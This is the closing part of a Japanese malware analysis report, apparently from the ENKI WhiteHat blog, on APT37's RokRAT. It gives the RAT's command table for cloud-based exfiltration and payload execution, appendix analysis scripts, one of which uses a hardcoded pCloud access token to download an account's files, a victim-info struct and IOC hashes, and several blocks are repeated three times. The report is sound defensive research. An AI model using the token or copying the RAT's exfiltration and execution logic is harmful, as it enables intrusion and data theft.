| コマンドコード | 行為 | | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | i | 収集データのアップロード終了 | | j, b | プロセス終了 | | d | 攻撃関連ファイルを削除した後にプロセス終了: <br> - スタートアップフォルダに存在するvbs、lnk拡張子ファイルを削除 <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除 | | f | 攻撃関連ファイルを削除した後にプロセス終了: <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除 | | g | 行為なし | | h | ドライブ情報の収集および送信 | | 0 | 収集データのアップロードフラグを有効化 | | 1, 2 | URLから取得したファイルデータをスレッドで実行 <br> - URLはクラウドサービスから受信したデータ内に存在 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード | | 3, 4 | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br> - クラウドサービスから取得したファイルデータをスレッドで実行 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード | | 5, 6 | URLから取得したファイルデータを%Temp%\KB400928_doc.exeとして保存した後にファイルを実行 | | 7, 8, 9 | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br>
| コマンドコード | 行為 | | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | i | 収集データのアップロード終了 | | j, b | プロセス終了 | | d | 攻撃関連ファイルを削除した後にプロセス終了: <br> - スタートアップフォルダに存在するvbs、lnk拡張子ファイルを削除 <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除 | | f | 攻撃関連ファイルを削除した後にプロセス終了: <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除 | | g | 行為なし | | h | ドライブ情報の収集および送信 | | 0 | 収集データのアップロードフラグを有効化 | | 1, 2 | URLから取得したファイルデータをスレッドで実行 <br> - URLはクラウドサービスから受信したデータ内に存在 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード | | 3, 4 | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br> - クラウドサービスから取得したファイルデータをスレッドで実行 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード | | 5, 6 | URLから取得したファイルデータを%Temp%\KB400928_doc.exeとして保存した後にファイルを実行 | | 7, 8, 9 | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br>
| コマンドコード | 行為 | | ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | i | 収集データのアップロード終了 | | j, b | プロセス終了 | | d | 攻撃関連ファイルを削除した後にプロセス終了: <br> - スタートアップフォルダに存在するvbs、lnk拡張子ファイルを削除 <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除 | | f | 攻撃関連ファイルを削除した後にプロセス終了: <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除 | | g | 行為なし | | h | ドライブ情報の収集および送信 | | 0 | 収集データのアップロードフラグを有効化 | | 1, 2 | URLから取得したファイルデータをスレッドで実行 <br> - URLはクラウドサービスから受信したデータ内に存在 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード | | 3, 4 | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br> - クラウドサービスから取得したファイルデータをスレッドで実行 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード | | 5, 6 | URLから取得したファイルデータを%Temp%\KB400928_doc.exeとして保存した後にファイルを実行 | | 7, 8, 9 | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br>
3. おわりに
本稿では、APT37グループが初期侵入手段としてLNKファイルを活用する方法と、RokRATマルウェアの動作方式および主要な特徴を分析した。RokRATは、「Living Off Trusted Sites(信頼されたサイトの悪用)」手法を利用し、正常なサービスであるpCloud、Yandex、DropBoxを攻撃に悪用することで、独自のインフラを構築せずとも悪意ある活動を実行した。このような状況に対応するため、pCloudの場合は、複雑な認証手順を通じてAPIトークンを発行する方式により、悪用を遮断している。
絶えず変化するサイバー攻撃の様相に対応する上で、本稿が参考資料として役立つことを願っている。
4. 付録
4.1. 分析スクリプト
LNK内蔵ファイルダンプスクリプト
def get_data(file_path, offset, length): with open(file_path, 'rb') as file: file.seek(offset) return file.read(length) def create_file(file_path, data): with open(file_path, 'wb') as file: file.write(data) lnk = "Gate access roster 2024.xlsx.lnk" pdf_data = get_data(lnk, 0x10A4, 0x2E32) viewer_data = get_data(lnk, 0x3ED6, 0xD9402) search_data = get_data(lnk, 0xDD2D8, 0x5AA) bat_data = get_data(lnk, 0xDD882, 0x139) create_file("Gate access roster 2024.xlsx", pdf_data) create_file("viewer.dat", viewer_data) create_file("search.dat", search_data) create_file("find.bat", bat_data)
def get_data(file_path, offset, length): with open(file_path, 'rb') as file: file.seek(offset) return file.read(length) def create_file(file_path, data): with open(file_path, 'wb') as file: file.write(data) lnk = "Gate access roster 2024.xlsx.lnk" pdf_data = get_data(lnk, 0x10A4, 0x2E32) viewer_data = get_data(lnk, 0x3ED6, 0xD9402) search_data = get_data(lnk, 0xDD2D8, 0x5AA) bat_data = get_data(lnk, 0xDD882, 0x139) create_file("Gate access roster 2024.xlsx", pdf_data) create_file("viewer.dat", viewer_data) create_file("search.dat", search_data) create_file("find.bat", bat_data)
def get_data(file_path, offset, length): with open(file_path, 'rb') as file: file.seek(offset) return file.read(length) def create_file(file_path, data): with open(file_path, 'wb') as file: file.write(data) lnk = "Gate access roster 2024.xlsx.lnk" pdf_data = get_data(lnk, 0x10A4, 0x2E32) viewer_data = get_data(lnk, 0x3ED6, 0xD9402) search_data = get_data(lnk, 0xDD2D8, 0x5AA) bat_data = get_data(lnk, 0xDD882, 0x139) create_file("Gate access roster 2024.xlsx", pdf_data) create_file("viewer.dat", viewer_data) create_file("search.dat", search_data) create_file("find.bat", bat_data)
API Hashing スクリプト
def ror(value, shift, size=32): shift %= size return ((value >> shift) | (value << (size - shift))) & ((1 << size) - 1) def get_function_hash(dll_name, func_name): key = 0 for char in dll_name: key = ((key + (char & ~0x20)) << 19) & 0xffffffff | ((key + (char & ~0x20)) >> 13) & 0xffffffff hash_value = 0 for char in func_name: hash_value = ror(hash_value + char, 13) return hex(hash_value ^ key) dll_name = b"ntdll.dll" func_name = b"RtlFillMemory" print(get_function_hash(dll_name, func_name))
def ror(value, shift, size=32): shift %= size return ((value >> shift) | (value << (size - shift))) & ((1 << size) - 1) def get_function_hash(dll_name, func_name): key = 0 for char in dll_name: key = ((key + (char & ~0x20)) << 19) & 0xffffffff | ((key + (char & ~0x20)) >> 13) & 0xffffffff hash_value = 0 for char in func_name: hash_value = ror(hash_value + char, 13) return hex(hash_value ^ key) dll_name = b"ntdll.dll" func_name = b"RtlFillMemory" print(get_function_hash(dll_name, func_name))
def ror(value, shift, size=32): shift %= size return ((value >> shift) | (value << (size - shift))) & ((1 << size) - 1) def get_function_hash(dll_name, func_name): key = 0 for char in dll_name: key = ((key + (char & ~0x20)) << 19) & 0xffffffff | ((key + (char & ~0x20)) >> 13) & 0xffffffff hash_value = 0 for char in func_name: hash_value = ror(hash_value + char, 13) return hex(hash_value ^ key) dll_name = b"ntdll.dll" func_name = b"RtlFillMemory" print(get_function_hash(dll_name, func_name))
pCloud ファイルダウンロードスクリプト
import requests import json import sys import os DOWNLOAD_PATH = "contents" METADATA_PATH = "metadata" def get_trash(token): url = "https://api.pcloud.com/trash_list" res = requests.post(url, data = {"access_token":token, "path":"/"}) return res.json() def get_user_info(token): url = "https://api.pcloud.com/userinfo" res = requests.post(url, data = {"access_token":token}) return res.json() def get_directory_list(token, path): result = [] url = "https://api.pcloud.com/listfolder" res = requests.post(url, data = {"access_token":token, "path":path}) for i in res.json()["metadata"]["contents"]: if i["isfolder"]: if not os.path.isdir(DOWNLOAD_PATH + i["path"]): os.mkdir(DOWNLOAD_PATH + i["path"]) result += get_directory_list(token, i["path"]) else: result.append(i) return result def download_file(token, path): res = requests.post(f"https://api.pcloud.com/getfilelink?path={path}&forcedownload=1&skipfilename=1", data={"access_token":token}) file_link = res.json()["path"] host = res.json()["hosts"][0] url = host+file_link if os.path.isfile(DOWNLOAD_PATH + path): return try: res = requests.get("https://" + url) except: try: res = requests.get("http://" + url) except: return False return res.content if __name__ == "__main__": real_token = "Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX" token = real_token user_info = get_user_info(token) if "error" in user_info: sys.exit(user_info["error"]) else: base_dir = f"./{token}" if not os.path.isdir(base_dir): os.mkdir(base_dir) with open(f"{base_dir}/userinfo.json", "w") as f: json.dump(user_info, f) DOWNLOAD_PATH = os.path.join(base_dir, DOWNLOAD_PATH) METADATA_PATH = os.path.join(base_dir, METADATA_PATH) if not os.path.isdir(DOWNLOAD_PATH): os.mkdir(DOWNLOAD_PATH) if not os.path.isdir(METADATA_PATH): os.mkdir(METADATA_PATH) files = get_directory_list(token, "/") for i in files: mp = i["path"].replace("/", "_") with open(f"{METADATA_PATH}/{mp}.json", "w") as jf: json.dump(i, jf) content = download_file(token, i["path"]) if content: with open(DOWNLOAD_PATH + i["path"], "wb") as f: f.write(content)
import requests import json import sys import os DOWNLOAD_PATH = "contents" METADATA_PATH = "metadata" def get_trash(token): url = "https://api.pcloud.com/trash_list" res = requests.post(url, data = {"access_token":token, "path":"/"}) return res.json() def get_user_info(token): url = "https://api.pcloud.com/userinfo" res = requests.post(url, data = {"access_token":token}) return res.json() def get_directory_list(token, path): result = [] url = "https://api.pcloud.com/listfolder" res = requests.post(url, data = {"access_token":token, "path":path}) for i in res.json()["metadata"]["contents"]: if i["isfolder"]: if not os.path.isdir(DOWNLOAD_PATH + i["path"]): os.mkdir(DOWNLOAD_PATH + i["path"]) result += get_directory_list(token, i["path"]) else: result.append(i) return result def download_file(token, path): res = requests.post(f"https://api.pcloud.com/getfilelink?path={path}&forcedownload=1&skipfilename=1", data={"access_token":token}) file_link = res.json()["path"] host = res.json()["hosts"][0] url = host+file_link if os.path.isfile(DOWNLOAD_PATH + path): return try: res = requests.get("https://" + url) except: try: res = requests.get("http://" + url) except: return False return res.content if __name__ == "__main__": real_token = "Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX" token = real_token user_info = get_user_info(token) if "error" in user_info: sys.exit(user_info["error"]) else: base_dir = f"./{token}" if not os.path.isdir(base_dir): os.mkdir(base_dir) with open(f"{base_dir}/userinfo.json", "w") as f: json.dump(user_info, f) DOWNLOAD_PATH = os.path.join(base_dir, DOWNLOAD_PATH) METADATA_PATH = os.path.join(base_dir, METADATA_PATH) if not os.path.isdir(DOWNLOAD_PATH): os.mkdir(DOWNLOAD_PATH) if not os.path.isdir(METADATA_PATH): os.mkdir(METADATA_PATH) files = get_directory_list(token, "/") for i in files: mp = i["path"].replace("/", "_") with open(f"{METADATA_PATH}/{mp}.json", "w") as jf: json.dump(i, jf) content = download_file(token, i["path"]) if content: with open(DOWNLOAD_PATH + i["path"], "wb") as f: f.write(content)
import requests import json import sys import os DOWNLOAD_PATH = "contents" METADATA_PATH = "metadata" def get_trash(token): url = "https://api.pcloud.com/trash_list" res = requests.post(url, data = {"access_token":token, "path":"/"}) return res.json() def get_user_info(token): url = "https://api.pcloud.com/userinfo" res = requests.post(url, data = {"access_token":token}) return res.json() def get_directory_list(token, path): result = [] url = "https://api.pcloud.com/listfolder" res = requests.post(url, data = {"access_token":token, "path":path}) for i in res.json()["metadata"]["contents"]: if i["isfolder"]: if not os.path.isdir(DOWNLOAD_PATH + i["path"]): os.mkdir(DOWNLOAD_PATH + i["path"]) result += get_directory_list(token, i["path"]) else: result.append(i) return result def download_file(token, path): res = requests.post(f"https://api.pcloud.com/getfilelink?path={path}&forcedownload=1&skipfilename=1", data={"access_token":token}) file_link = res.json()["path"] host = res.json()["hosts"][0] url = host+file_link if os.path.isfile(DOWNLOAD_PATH + path): return try: res = requests.get("https://" + url) except: try: res = requests.get("http://" + url) except: return False return res.content if __name__ == "__main__": real_token = "Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX" token = real_token user_info = get_user_info(token) if "error" in user_info: sys.exit(user_info["error"]) else: base_dir = f"./{token}" if not os.path.isdir(base_dir): os.mkdir(base_dir) with open(f"{base_dir}/userinfo.json", "w") as f: json.dump(user_info, f) DOWNLOAD_PATH = os.path.join(base_dir, DOWNLOAD_PATH) METADATA_PATH = os.path.join(base_dir, METADATA_PATH) if not os.path.isdir(DOWNLOAD_PATH): os.mkdir(DOWNLOAD_PATH) if not os.path.isdir(METADATA_PATH): os.mkdir(METADATA_PATH) files = get_directory_list(token, "/") for i in files: mp = i["path"].replace("/", "_") with open(f"{METADATA_PATH}/{mp}.json", "w") as jf: json.dump(i, jf) content = download_file(token, i["path"]) if content: with open(DOWNLOAD_PATH + i["path"], "wb") as f: f.write(content)
aes キー、iv 初期化スクリプト
random_data = [] # 16바이트 랜덤 값 &CryptoPP::AutoSeededRandomPool에 의해 생성된다. key = [] iv = [] for i in range(16): key.append(((4 * (i + 9)) | 0x4e) & 0xff) iv.append(((8 * (i - 15)) | 0x1c) & 0xff) iv_xor_key = [0x2, 0x4, 0x6, 0xe, 0x6, 0x7, 0x8, 0x98, 0x68, 0x83, 0x78, 0xae, 0x3a, 0x4b, 0x8a, 0x6a] for i in range(16): key[i] ^= random_data[::-1][i] for i in range(16): iv[0] ^= iv_xor_key[i] print (key, iv)
random_data = [] # 16바이트 랜덤 값 &CryptoPP::AutoSeededRandomPool에 의해 생성된다. key = [] iv = [] for i in range(16): key.append(((4 * (i + 9)) | 0x4e) & 0xff) iv.append(((8 * (i - 15)) | 0x1c) & 0xff) iv_xor_key = [0x2, 0x4, 0x6, 0xe, 0x6, 0x7, 0x8, 0x98, 0x68, 0x83, 0x78, 0xae, 0x3a, 0x4b, 0x8a, 0x6a] for i in range(16): key[i] ^= random_data[::-1][i] for i in range(16): iv[0] ^= iv_xor_key[i] print (key, iv)
random_data = [] # 16바이트 랜덤 값 &CryptoPP::AutoSeededRandomPool에 의해 생성된다. key = [] iv = [] for i in range(16): key.append(((4 * (i + 9)) | 0x4e) & 0xff) iv.append(((8 * (i - 15)) | 0x1c) & 0xff) iv_xor_key = [0x2, 0x4, 0x6, 0xe, 0x6, 0x7, 0x8, 0x98, 0x68, 0x83, 0x78, 0xae, 0x3a, 0x4b, 0x8a, 0x6a] for i in range(16): key[i] ^= random_data[::-1][i] for i in range(16): iv[0] ^= iv_xor_key[i] print (key, iv)
4.2. 分析構造体
RokRAT 感染PC情報構造体
struct get_info { int TickCount; wchar_t additional_data[8]; int pad_0; char version[32]; wchar_t wow64_flag[1]; wchar_t ComputerName[64]; wchar_t UserName[64]; wchar_t FileName[256]; char SMBiosData[128]; char Debugging_flag; char CreateDatFile_flag; char vmtoolsInfo[40]; char SystemBiosVersion[40]; char pad_1_disable[100]; char pad_2; char Recv_FileData_Decrypt_Key[32]; wchar_t rand_value_1[16]; int pad_3; __int16 pad_4; wchar_t Cloud_Recv_Data_FileName[16]; int pad_5; __int16 pad_6; char Recv_Data_Decrypt_Key[32]; __int16 pad7; };
struct get_info { int TickCount; wchar_t additional_data[8]; int pad_0; char version[32]; wchar_t wow64_flag[1]; wchar_t ComputerName[64]; wchar_t UserName[64]; wchar_t FileName[256]; char SMBiosData[128]; char Debugging_flag; char CreateDatFile_flag; char vmtoolsInfo[40]; char SystemBiosVersion[40]; char pad_1_disable[100]; char pad_2; char Recv_FileData_Decrypt_Key[32]; wchar_t rand_value_1[16]; int pad_3; __int16 pad_4; wchar_t Cloud_Recv_Data_FileName[16]; int pad_5; __int16 pad_6; char Recv_Data_Decrypt_Key[32]; __int16 pad7; };
struct get_info { int TickCount; wchar_t additional_data[8]; int pad_0; char version[32]; wchar_t wow64_flag[1]; wchar_t ComputerName[64]; wchar_t UserName[64]; wchar_t FileName[256]; char SMBiosData[128]; char Debugging_flag; char CreateDatFile_flag; char vmtoolsInfo[40]; char SystemBiosVersion[40]; char pad_1_disable[100]; char pad_2; char Recv_FileData_Decrypt_Key[32]; wchar_t rand_value_1[16]; int pad_3; __int16 pad_4; wchar_t Cloud_Recv_Data_FileName[16]; int pad_5; __int16 pad_6; char Recv_Data_Decrypt_Key[32]; __int16 pad7; };
4.3. IOCs
c25e5e87d1e665197209e7aaec64e484ce30e2dabcc9e457c5593ac6c7bb5686 (Gate access roster 2024.xlsx.lnk)
- dd3803ade05abe200bac8cb34247b4318b45fc8e731f4f1b4a2f26f613201d07 ((Gate access roster 2024.xlsx)
- 95aedd9c8ec64d3abd6ecf016b6886eec6af73ee278a2d7da9f20ff97e157e6f (search.dat)
- cdfa3a84b1bf6a58218bb6435a513b8e0bae4dbc849dfa045ed72216d817ae2b (find.bat)
- 2ae727feffb939434fd9c3804517d868fbe42a8e2d66fd0eef9fa14f3e9c7a27 (viewer.dat)
- 94159655fa0bfb1eff092835d8922d3e18ca5c73884fd0d8b78f42c8511047b6 (RokRAT)
0a501fd9d043b043de9083d03870b9c9ddb4f18a89366bc2ca413f835709415c
- 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126
- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
- 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6
- b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282
23549c774f56aae77115b456bdcad6c81fb82a0936841da0e056c922db83d342
- 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126
- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
- 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6
- b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282
b02329000ae4f8f4238db366d8fe394867dcad8222d02d9a76e82a376c6b1405
- 9646372af573fb90a7f3665386629cc3b08ee44fb5d294f479c931ad7300bb31
- e6f4bbc21b34b10b10a9bc83ccc329a286b2710f3d34ce427846b5ff53b611c5
- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
- dc6ca2e9ce800245a65715647bb1614c35632f270d1879e796472e786cdfc0fc
- 1fa815ed72933b3d2efdae7b13d6cc87ef261ea0d45903a02226a9278ccd49d0
b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56
- 81269c3c41d957765314a1704e0ea6cdf9666eab729597207fd1cc844c749beb
- e6f4bbc21b34b10b10a9bc83ccc329a286b2710f3d34ce427846b5ff53b611c5
- 4ec203d22097e29d83a6425e523cfb3e26ff5b39454585f78a627f2f0fb658f8
- dc6ca2e9ce800245a65715647bb1614c35632f270d1879e796472e786cdfc0fc
- 1fa815ed72933b3d2efdae7b13d6cc87ef261ea0d45903a02226a9278ccd49d0
c25e5e87d1e665197209e7aaec64e484ce30e2dabcc9e457c5593ac6c7bb5686
- dd3803ade05abe200bac8cb34247b4318b45fc8e731f4f1b4a2f26f613201d07
- 95aedd9c8ec64d3abd6ecf016b6886eec6af73ee278a2d7da9f20ff97e157e6f
- cdfa3a84b1bf6a58218bb6435a513b8e0bae4dbc849dfa045ed72216d817ae2b
- 2ae727feffb939434fd9c3804517d868fbe42a8e2d66fd0eef9fa14f3e9c7a27
- 94159655fa0bfb1eff092835d8922d3e18ca5c73884fd0d8b78f42c8511047b6
cbc777d1e018832790482e6fd82ab186ac02036c231f10064b14ff1d81832f13
- 14e507f2160b415d8aae1bbe4e5fbcf0a10563a72bb53b7d8a9fc339518bc668
- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
- f3d98b1638dbe6fd0f97ae3b1d2c9d5c0f592baa1317c862042e5201a1e14aed
- 4f5d8bb87b68b943c1e4f05c12a8c0836dc7744bc4e7868c6189cbd5881c2d79
dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6
- 653202d94d655f9fafbb1217fba57d23f30a7e3ed7fe3272f237ec21e0731126
- e97b31d85345d899bdd207e52c7660cf036a65f0c0d224f3e035544f999bf0ad
- 94fb40e50f2614d11e3b122be91e76d2fd233791b8a7b36927f6dcbeb79ea0c3
- 903b02ff3ef690ea53103737a07c36a732bd81ab04f78d6f5eb61ac0fc6f98a6
- b8d034814d9c8aa12b49372c9007f364733a0b8d083307f5ee747c1018341282
e914f39c7800f87e99ca4821c7a6d4ac580d99b5d70bea54d17c2b6e862b2de6
- 00f45a18a4ca30f2de40c213186bd9e9e1202f24c844cbcae29ae01d93cbae93
- faa8312eb5dfaafae9be18b4470990e6e0ff4911c862e33879196ed233d18745
- 92bad80b08407755da14760de5703dcd7a88703ffca7443f18fd94d853b08056
- cbc777d1e018832790482e6fd82ab186ac02036c231f10064b14ff1d81832f13

ENKI WhiteHat
ENKI WhiteHat
オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。
オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。
人気の記事
関連記事

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから
インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから
インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから
インシデント発生前、
今すぐ備えましょう
購読する
コンテンツが役に立ったら?
エンキーレターを購読しましょう!



